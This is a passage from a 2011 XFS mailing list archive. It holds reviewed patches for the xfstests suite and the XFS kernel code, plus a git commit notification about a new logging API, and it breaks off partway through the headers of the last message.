QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57521 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/4/11 2:22 PM, Alex Elder wrote: > Tests 127 and 134 leave temp files around when they complete. > Fix (or enable) their cleanup functions to remedy this. > > Signed-off-by: Alex Elder Weird, 134 had the trap commented out from the initial commit... Reviewed-by: Eric Sandeen > --- > 127 | 1 + > 134 | 3 +-- > 2 files changed, 2 insertions(+), 2 deletions(-) > > Index: b/127 > =================================================================== > --- a/127 > +++ b/127 > @@ -38,6 +38,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 > > _cleanup() > { > + rm -f $tmp.output > _cleanup_testdir > } > > Index: b/134 > =================================================================== > --- a/134 > +++ b/134 > @@ -43,8 +43,7 @@ _cleanup() > umount $SCRATCH_MNT 2>/dev/null > rm -f $tmp.* > } > -#trap "_cleanup; exit \$status" 0 1 2 3 15 > - > +trap "_cleanup; exit \$status" 0 1 2 3 15 > > # real QA test starts here > _supported_fs xfs > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Wed Mar 9 11:31:30 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_43, J_CHICKENPOX_52,J_CHICKENPOX_62 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p29HVP07050382 for ; Wed, 9 Mar 2011 11:31:30 -0600 X-ASG-Debug-ID: 1299692044-729f005b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id D756D1EB9AC2 for ; Wed, 9 Mar 2011 09:34:04 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with SMTP id o7CYJOFTpIEv9uox for ; Wed, 09 Mar 2011 09:34:04 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id 7B3B748FF030; Wed, 9 Mar 2011 11:34:04 -0600 (CST) Message-ID: <4D77BA0C.6080604@sandeen.net> Date: Wed, 09 Mar 2011 11:34:04 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: Alex Elder CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: fix a few build warnings Subject: Re: [PATCH] xfstests: fix a few build warnings References: <201103041937.p24JbVtP004804@stout.americas.sgi.com> In-Reply-To: <201103041937.p24JbVtP004804@stout.americas.sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299692055 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57522 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/4/11 1:37 PM, Alex Elder wrote: > This patch fixes a few build warnings. I have built the code using > i386, x86_64, and ia64 architectures and each has ends up with > complaints of one sort or anther. This gets rid of all of them > *except* those reported by files under the "ltp" (Linux Test > Project) sub-tree. Reviewed-by: Eric Sandeen > Signed-off-by: Alex Elder > > --- > lib/tlibio.c | 2 +- > src/aio-dio-regress/aiodio_sparse2.c | 3 ++- > src/pwrite_mmap_blocked.c | 3 ++- > src/unwritten_sync.c | 4 +++- > src/xfsctl.c | 2 ++ > 5 files changed, 10 insertions(+), 4 deletions(-) > > Index: b/lib/tlibio.c > =================================================================== > --- a/lib/tlibio.c > +++ b/lib/tlibio.c > @@ -453,7 +453,7 @@ int > lio_random_methods(long curr_mask) > { > int mask=0; > - long random_bit(); > + long random_bit(long); > > /* remove random select, io type, and wait method bits from curr_mask */ > mask = curr_mask & (~(LIO_IO_TYPES | LIO_WAIT_TYPES | LIO_RANDOM)); > Index: b/src/aio-dio-regress/aiodio_sparse2.c > =================================================================== > --- a/src/aio-dio-regress/aiodio_sparse2.c > +++ b/src/aio-dio-regress/aiodio_sparse2.c > @@ -227,7 +227,8 @@ void aiodio_sparse(char *filename, int a > unsigned char *badbuf; > > if (debug) > - fprintf(stderr, "seek to %ld and read %d\n", offset, writesize); > + fprintf(stderr, "seek to %lld and read %d\n", > + (long long) offset, writesize); > lseek(fd, offset, SEEK_SET); > if (read(fd, bufptr, writesize) < writesize) { > fprintf(stderr, "short read() at offset %lld\n", > Index: b/src/pwrite_mmap_blocked.c > =================================================================== > --- a/src/pwrite_mmap_blocked.c > +++ b/src/pwrite_mmap_blocked.c > @@ -59,7 +59,8 @@ int main(int argc, char *argv[]) > perror("mmap"); > exit(1); > } > - printf("pwrite %Ld bytes from %Ld to %Ld\n", amount, from, to); > + printf("pwrite %Ld bytes from %Ld to %Ld\n", > + (long long) amount, (long long) from, (long long) to); > > ret = pwrite(fd, (char *)mapped_mem + from, amount, to); > if (ret != amount) { > Index: b/src/unwritten_sync.c > =================================================================== > --- a/src/unwritten_sync.c > +++ b/src/unwritten_sync.c > @@ -136,7 +136,9 @@ again: > } > if (bmapx[x].bmv_oflags & 1) { > fprintf(stderr, "FOUND ONE %lld %lld %x\n", > - bmapx[x].bmv_offset, bmapx[x].bmv_length,bmapx[x].bmv_oflags); > + (long long) bmapx[x].bmv_offset, > + (long long) bmapx[x].bmv_length, > + bmapx[x].bmv_oflags); > foundone = 1; > foundany = 1; > } > Index: b/src/xfsctl.c > =================================================================== > --- a/src/xfsctl.c > +++ b/src/xfsctl.c > @@ -16,6 +16,8 @@ > * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > */ > > +#include > + > #include > #include > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From sandeen@sandeen.net Wed Mar 9 13:19:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p29JJm9v057041 for ; Wed, 9 Mar 2011 13:19:53 -0600 X-ASG-Debug-ID: 1299698547-4fe503580000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.sandeen.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 527EB10B61E8 for ; Wed, 9 Mar 2011 11:22:27 -0800 (PST) Received: from mail.sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id jFidTORJnF6I9rgv for ; Wed, 09 Mar 2011 11:22:27 -0800 (PST) Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (No client certificate requested) by mail.sandeen.net (Postfix) with ESMTP id D8E7949632AE; Wed, 9 Mar 2011 13:22:26 -0600 (CST) Message-ID: <4D77D371.6070802@sandeen.net> Date: Wed, 09 Mar 2011 13:22:25 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: Alex Elder CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH, v2 1/2] xfstests: a few fixes to Makefile Subject: Re: [PATCH, v2 1/2] xfstests: a few fixes to Makefile References: <201103091837.p29Ib3nc012048@stout.americas.sgi.com> In-Reply-To: <201103091837.p29Ib3nc012048@stout.americas.sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1299698558 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.42 X-Barracuda-Spam-Status: No, SCORE=-1.42 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57529 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/9/11 12:37 PM, Alex Elder wrote: > Change the top-level Makefile, to make it clearer just what makes > what, and what depends on what: > - Separate the rules for "configure" and "include/builddefs" into > two parts, each of which generate one of the files > - Get rid of the rule for include/config.h, and group it with the > one for include/builddefs (the same command creates both files) > > Having done this, we find that having both "include/builddefs" and > "include/config.h" as dependencies for the default target results in > a parallel invocation of "make" spawning two concurrent attempts to > do the configure step--and that doesn't work. > > Creating one of those two will result in the other getting created, > so just list one of them as a dependency for the default rule. > > A couple of other small fixes: > - Get rid of the "new", "remake" and "check" dependencies for the > default rule, which serve no purpose > - Use the $(Q) convention in a few missed spots > - Stop a DMAPI-only comment from getting echoed on default build > > This updated version folds in the content of a patch previously > posted separately to fix the problem with parallel builds. > > Signed-off-by: Alex Elder Reviewed-by: Eric Sandeen > --- > Makefile | 23 ++++++++++------------- > 1 file changed, 10 insertions(+), 13 deletions(-) > > Index: b/Makefile > =================================================================== > --- a/Makefile > +++ b/Makefile > @@ -39,14 +39,14 @@ TOOL_SUBDIRS = ltp src m4 > > SUBDIRS = $(LIB_SUBDIRS) $(TOOL_SUBDIRS) > > -default: include/builddefs include/config.h $(DMAPI_MAKEFILE) new remake check $(TESTS) > +default: include/builddefs $(DMAPI_MAKEFILE) $(TESTS) > ifeq ($(HAVE_BUILDDEFS), no) > $(Q)$(MAKE) $(MAKEOPTS) $@ > else > $(Q)$(MAKE) $(MAKEOPTS) $(SUBDIRS) > +ifeq ($(HAVE_DMAPI), true) > # automake doesn't always support "default" target > # so do dmapi make explicitly with "all" > -ifeq ($(HAVE_DMAPI), true) > $(Q)$(MAKE) $(MAKEOPTS) -C $(TOPDIR)/dmapi all > endif > endif > @@ -60,22 +60,19 @@ else > clean: # if configure hasn't run, nothing to clean > endif > > -configure include/builddefs: > +configure: configure.in > autoheader > autoconf > + > +include/builddefs include/config.h: configure > ./configure \ > --libexecdir=/usr/lib \ > --enable-lib64=yes > > -include/config.h: include/builddefs > -## Recover from the removal of $@ > - @if test -f $@; then :; else \ > - rm -f include/builddefs; \ > - $(MAKE) $(AM_MAKEFLAGS) include/builddefs; \ > - fi > - > +ifeq ($(HAVE_DMAPI), true) > $(DMAPI_MAKEFILE): > - cd $(TOPDIR)/dmapi/ ; ./configure > + $(Q)cd $(TOPDIR)/dmapi && ./configure > +endif > > aclocal.m4:: > aclocal --acdir=`pwd`/m4 --output=$@ > @@ -97,5 +94,5 @@ install-dev install-lib: > $(MAKE) $(MAKEOPTS) -C $* install > > realclean distclean: clean > - rm -f $(LDIRT) $(CONFIGURE) > - rm -rf autom4te.cache Logs > + $(Q)rm -f $(LDIRT) $(CONFIGURE) > + $(Q)rm -rf autom4te.cache Logs > From aelder@oss.sgi.com Wed Mar 9 15:16:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p29LGSxH060909 for ; Wed, 9 Mar 2011 15:16:28 -0600 Received: (from aelder@localhost) by oss.sgi.com (8.14.3/8.14.3/Submit) id p29LGKY6060818; Wed, 9 Mar 2011 15:16:20 -0600 Date: Wed, 9 Mar 2011 15:16:20 -0600 Message-Id: <201103092116.p29LGKY6060818@oss.sgi.com> From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. v2.6.37-rc4-9200-gecb6928 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: eeb2036b8a148629b762ae6d85cff0be8106f081 X-Git-Newrev: ecb6928fcf969b302929f109e175981df1dba697 This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated ecb6928 xfs: factor agf counter updates into a helper 86fa8af xfs: clean up the xfs_alloc_compute_aligned calling convention 9130090 xfs: kill support/debug.[ch] 0b932cc xfs: Convert remaining cmn_err() callers to new API 8221112 xfs: convert the quota debug prints to new API 6d4a8ec xfs: rename xfs_cmn_err_fsblock_zero() 5348778 xfs: convert xfs_fs_cmn_err to new error logging API af34e09 xfs: kill xfs_fs_mount_cmn_err() macro 65333b4 xfs: kill xfs_fs_repair_cmn_err() macro 6a19d93 xfs: convert xfs_cmn_err to xfs_alert_tag a0fa2b6 xfs: Convert xlog_warn to new logging interface 4f10700 xfs: Convert linux-2.6/ files to new logging interface 10e3839 xfs: introduce new logging API. from eeb2036b8a148629b762ae6d85cff0be8106f081 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit ecb6928fcf969b302929f109e175981df1dba697 Author: Christoph Hellwig Date: Fri Mar 4 12:59:55 2011 +0000 xfs: factor agf counter updates into a helper Updating the AGF and transactions counters is duplicated between allocating and freeing extents. Factor the code into a common helper. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 86fa8af69d8e90b7b40b8dab84d168527143ae20 Author: Christoph Hellwig Date: Fri Mar 4 12:59:54 2011 +0000 xfs: clean up the xfs_alloc_compute_aligned calling convention Pass a xfs_alloc_arg structure to xfs_alloc_compute_aligned and derive the alignment and minlen paramters from it. This cleans up the existing callers, and we'll need even more information from the xfs_alloc_arg in subsequent patches. Based on a patch from Dave Chinner. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Alex Elder commit 9130090b5f04f7e7bc29b944e0b1ba494fff3f98 Author: Dave Chinner Date: Mon Mar 7 10:09:35 2011 +1100 xfs: kill support/debug.[ch] The remaining functionality in debug.[ch] is effectively just assert handling, conditional debug definitions and hex dumping. The hex dumping and assert function can be moved into the new printk module, while the rest can be moved into top-level header files. This allows fs/xfs/support/debug.[ch] to be completely removed from the codebase. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 0b932cccbdc09a72aa370456a59b40ecd6b10baf Author: Dave Chinner Date: Mon Mar 7 10:08:35 2011 +1100 xfs: Convert remaining cmn_err() callers to new API Once converted, kill the remainder of the cmn_err() interface. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 8221112b4377a3b69f2016b5cc3c550d51dd3139 Author: Dave Chinner Date: Mon Mar 7 10:07:35 2011 +1100 xfs: convert the quota debug prints to new API Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 6d4a8ecb344bddbbb8c71deb4dcea0be6955cfc3 Author: Dave Chinner Date: Mon Mar 7 10:06:35 2011 +1100 xfs: rename xfs_cmn_err_fsblock_zero() The "cmn_err" part of the function name is no longer relevant. Rename the function to xfs_alert_fsblock_zero() to match the new logging API. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 5348778699bba92bf28b79863e09e7181d8cf95c Author: Dave Chinner Date: Mon Mar 7 10:05:35 2011 +1100 xfs: convert xfs_fs_cmn_err to new error logging API Continue to clean up the error logging code by converting all the callers of xfs_fs_cmn_err() to the new API. Once done, remove the unused old API function. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit af34e09da42801c97f39f768c715f5511d914b52 Author: Dave Chinner Date: Mon Mar 7 10:04:35 2011 +1100 xfs: kill xfs_fs_mount_cmn_err() macro The xfs_fs_mount_cmn_err() hides a simple check as to whether the mount path should output an error or not. Remove the macro and open code the check. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 65333b4c3d46909872796321d15f179cb0e32028 Author: Dave Chinner Date: Mon Mar 7 10:03:35 2011 +1100 xfs: kill xfs_fs_repair_cmn_err() macro In certain cases of inode corruption, the xfs_fs_repair_cmn_err() macro is used to output an extra message in the corruption report. That extra message is "unmount and run xfs_repair", which really applies to any corruption report. Each case that this macro is called (except one) a following call to xfs_corruption_error() is made to optionally dump more information about the error. Hence, move the output of "run xfs_repair" to xfs_corruption_error() so that it is output on all corruption reports. Also, convert the callers of the repair macro that don't call xfs_corruption_error() to call it, hence provide consiѕtent error reporting for all cases where xfs_fs_repair_cmn_err() used to be called. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 6a19d9393a5402e69fc52f5da8a828b8499a8265 Author: Dave Chinner Date: Mon Mar 7 10:02:35 2011 +1100 xfs: convert xfs_cmn_err to xfs_alert_tag Continue the conversion of the old cmn_err interface be converting all the conditional panic tag errors to xfs_alert_tag() and then removing xfs_cmn_err(). Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit a0fa2b679ecd15b4bdbb46cd2420b6affde91cf9 Author: Dave Chinner Date: Mon Mar 7 10:01:35 2011 +1100 xfs: Convert xlog_warn to new logging interface Convert the xfs log operations to use the new error logging interfaces. This removes the xlog_{warn,panic} wrappers and makes almost all errors emit the device they belong to instead of just refering to "XFS". Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 4f10700a2e4bb2ff3d3a80f08412e21109e6d4b5 Author: Dave Chinner Date: Mon Mar 7 10:00:35 2011 +1100 xfs: Convert linux-2.6/ files to new logging interface Convert the files in fs/xfs/linux-2.6/ to use the new xfs_ logging format that replaces the old Irix inherited cmn_err() interfaces. While there, also convert naked printk calls to use the relevant xfs logging function to standardise output format. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig commit 10e38391c0e242e53e30094f6c00553418ab2f2e Author: Dave Chinner Date: Wed Mar 2 14:20:59 2011 +1100 xfs: introduce new logging API. Most of the logging infrastructure in XFS is unneccessary and designed around the infrastructure supplied by Irix rather than Linux. To rationalise the logging interfaces, start by introducing simple printk wrappers similar to the dev_printk() infrastructure. Later patches will convert code to use this new interface. Signed-off-by: Dave Chinner Reviewed-by: Alex Elder Reviewed-by: Christoph Hellwig ----------------------------------------------------------------------- Summary of changes: fs/xfs/Makefile | 5 +- fs/xfs/linux-2.6/kmem.c | 9 +- fs/xfs/linux-2.6/xfs_aops.c | 6 +- fs/xfs/linux-2.6/xfs_buf.c | 17 ++-- fs/xfs/linux-2.6/xfs_linux.h | 23 ++++- fs/xfs/linux-2.6/xfs_message.c | 133 ++++++++++++++++++++++++ fs/xfs/linux-2.6/xfs_message.h | 38 +++++++ fs/xfs/linux-2.6/xfs_super.c | 127 ++++++++++------------- fs/xfs/linux-2.6/xfs_sync.c | 5 +- fs/xfs/linux-2.6/xfs_sysctl.c | 2 +- fs/xfs/quota/xfs_dquot.c | 48 +++++---- fs/xfs/quota/xfs_dquot_item.c | 5 +- fs/xfs/quota/xfs_qm.c | 42 ++++---- fs/xfs/quota/xfs_qm_bhv.c | 3 +- fs/xfs/quota/xfs_qm_syscalls.c | 85 ++++++++-------- fs/xfs/quota/xfs_trans_dquot.c | 5 +- fs/xfs/support/debug.c | 107 ------------------- fs/xfs/support/debug.h | 61 ----------- fs/xfs/xfs_alloc.c | 160 +++++++++++++++-------------- fs/xfs/xfs_bmap.c | 17 ++-- fs/xfs/xfs_buf_item.c | 15 ++-- fs/xfs/xfs_da_btree.c | 9 +- fs/xfs/xfs_dfrag.c | 4 +- fs/xfs/xfs_dir2.c | 2 +- fs/xfs/xfs_dir2_node.c | 25 ++--- fs/xfs/xfs_error.c | 22 ++-- fs/xfs/xfs_error.h | 19 +--- fs/xfs/xfs_fsops.c | 6 +- fs/xfs/xfs_ialloc.c | 82 ++++++--------- fs/xfs/xfs_inode.c | 124 ++++++++++------------ fs/xfs/xfs_iomap.c | 12 +- fs/xfs/xfs_log.c | 124 +++++++++++------------ fs/xfs/xfs_log_priv.h | 4 - fs/xfs/xfs_log_recover.c | 223 +++++++++++++++++++-------------------- fs/xfs/xfs_mount.c | 148 ++++++++++++++------------- fs/xfs/xfs_quota.h | 3 +- fs/xfs/xfs_rtalloc.c | 8 +- fs/xfs/xfs_rtalloc.h | 2 +- fs/xfs/xfs_rw.c | 40 +++---- fs/xfs/xfs_trans_ail.c | 2 +- fs/xfs/xfs_trans_buf.c | 6 +- fs/xfs/xfs_vnodeops.c | 13 +-- 42 files changed, 867 insertions(+), 924 deletions(-) create mode 100644 fs/xfs/linux-2.6/xfs_message.c create mode 100644 fs/xfs/linux-2.6/xfs_message.h delete mode 100644 fs/xfs/support/debug.c delete mode 100644 fs/xfs/support/debug.h hooks/post-receive -- XFS development tree From dave@fromorbit.com Wed Mar 9 17:35:03 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p29NYvWP067845 for ; Wed, 9 Mar 2011 17:35:03 -0600 X-ASG-Debug-ID: 1299713865-212502760000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3311D1BD2FB9 for ; Wed, 9 Mar 2011 15:37:46 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id nCmKqKXy4CT1YEV8 for ; Wed, 09 Mar 2011 15:37:46 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApYGADGed015LK5J/2dsb2JhbACZBI1tdcMehWUE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:07:26 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxSwW-0002rw-Su for xfs@oss.sgi.com; Thu, 10 Mar 2011 10:37:24 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxSwe-000207-JD for xfs@oss.sgi.com; Thu, 10 Mar 2011 10:37:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH] xfs: preallocation transactions do not need to be synchronous Subject: [PATCH] xfs: preallocation transactions do not need to be synchronous Date: Thu, 10 Mar 2011 10:37:32 +1100 Message-Id: <1299713852-7663-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299713867 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57546 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner Preallocation and hole punch transactions are currently synchronous and this is causing performance problems in some cases. The transactions don't need to be synchronous as we don't need to guarantee the preallocation is persistent on disk until a fdatasync, fsync, sync operation occurs. If the file is opened O_SYNC or O_DATASYNC, only then should the transaction be issued synchronously. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_file.c | 4 ++++ fs/xfs/linux-2.6/xfs_ioctl.c | 4 ++++ fs/xfs/xfs_vnodeops.c | 3 ++- fs/xfs/xfs_vnodeops.h | 1 + 4 files changed, 11 insertions(+), 1 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_file.c b/fs/xfs/linux-2.6/xfs_file.c index ae59865..baa2cb3 100644 --- a/fs/xfs/linux-2.6/xfs_file.c +++ b/fs/xfs/linux-2.6/xfs_file.c @@ -896,6 +896,7 @@ xfs_file_fallocate( xfs_flock64_t bf; xfs_inode_t *ip = XFS_I(inode); int cmd = XFS_IOC_RESVSP; + int attr_flags = XFS_ATTR_NOLOCK; if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | @@ -922,6 +923,9 @@ xfs_file_fallocate( goto out_unlock; } + if (file->f_flags & O_DSYNC) + attr_flags |= XFS_ATTR_SYNC; + error = -xfs_change_file_space(ip, cmd, &bf, 0, XFS_ATTR_NOLOCK); if (error) goto out_unlock; diff --git a/fs/xfs/linux-2.6/xfs_ioctl.c b/fs/xfs/linux-2.6/xfs_ioctl.c index 0ca0e3c..acca2c5 100644 --- a/fs/xfs/linux-2.6/xfs_ioctl.c +++ b/fs/xfs/linux-2.6/xfs_ioctl.c @@ -624,6 +624,10 @@ xfs_ioc_space( if (filp->f_flags & (O_NDELAY|O_NONBLOCK)) attr_flags |= XFS_ATTR_NONBLOCK; + + if (filp->f_flags & O_DSYNC) + attr_flags |= XFS_ATTR_SYNC; + if (ioflags & IO_INVIS) attr_flags |= XFS_ATTR_DMI; diff --git a/fs/xfs/xfs_vnodeops.c b/fs/xfs/xfs_vnodeops.c index 37d8146..c48b421 100644 --- a/fs/xfs/xfs_vnodeops.c +++ b/fs/xfs/xfs_vnodeops.c @@ -2831,7 +2831,8 @@ xfs_change_file_space( ip->i_d.di_flags &= ~XFS_DIFLAG_PREALLOC; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - xfs_trans_set_sync(tp); + if (attr_flags & XFS_ATTR_SYNC) + xfs_trans_set_sync(tp); error = xfs_trans_commit(tp, 0); diff --git a/fs/xfs/xfs_vnodeops.h b/fs/xfs/xfs_vnodeops.h index f670292..3bcd233 100644 --- a/fs/xfs/xfs_vnodeops.h +++ b/fs/xfs/xfs_vnodeops.h @@ -18,6 +18,7 @@ int xfs_setattr(struct xfs_inode *ip, struct iattr *vap, int flags); #define XFS_ATTR_NONBLOCK 0x02 /* return EAGAIN if operation would block */ #define XFS_ATTR_NOLOCK 0x04 /* Don't grab any conflicting locks */ #define XFS_ATTR_NOACL 0x08 /* Don't call xfs_acl_chmod */ +#define XFS_ATTR_SYNC 0x10 /* synchronous operation required */ int xfs_readlink(struct xfs_inode *ip, char *link); int xfs_release(struct xfs_inode *ip); -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 17:35:28 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p29NZMf3067862 for ; Wed, 9 Mar 2011 17:35:28 -0600 X-ASG-Debug-ID: 1299713881-26b4022f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 75037336354 for ; Wed, 9 Mar 2011 15:38:01 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id oj9Ch8xrGw7rWBao for ; Wed, 09 Mar 2011 15:38:01 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApYGADGed015LK5J/2dsb2JhbACZBI1tdbR+jiCFZQQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:08:00 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 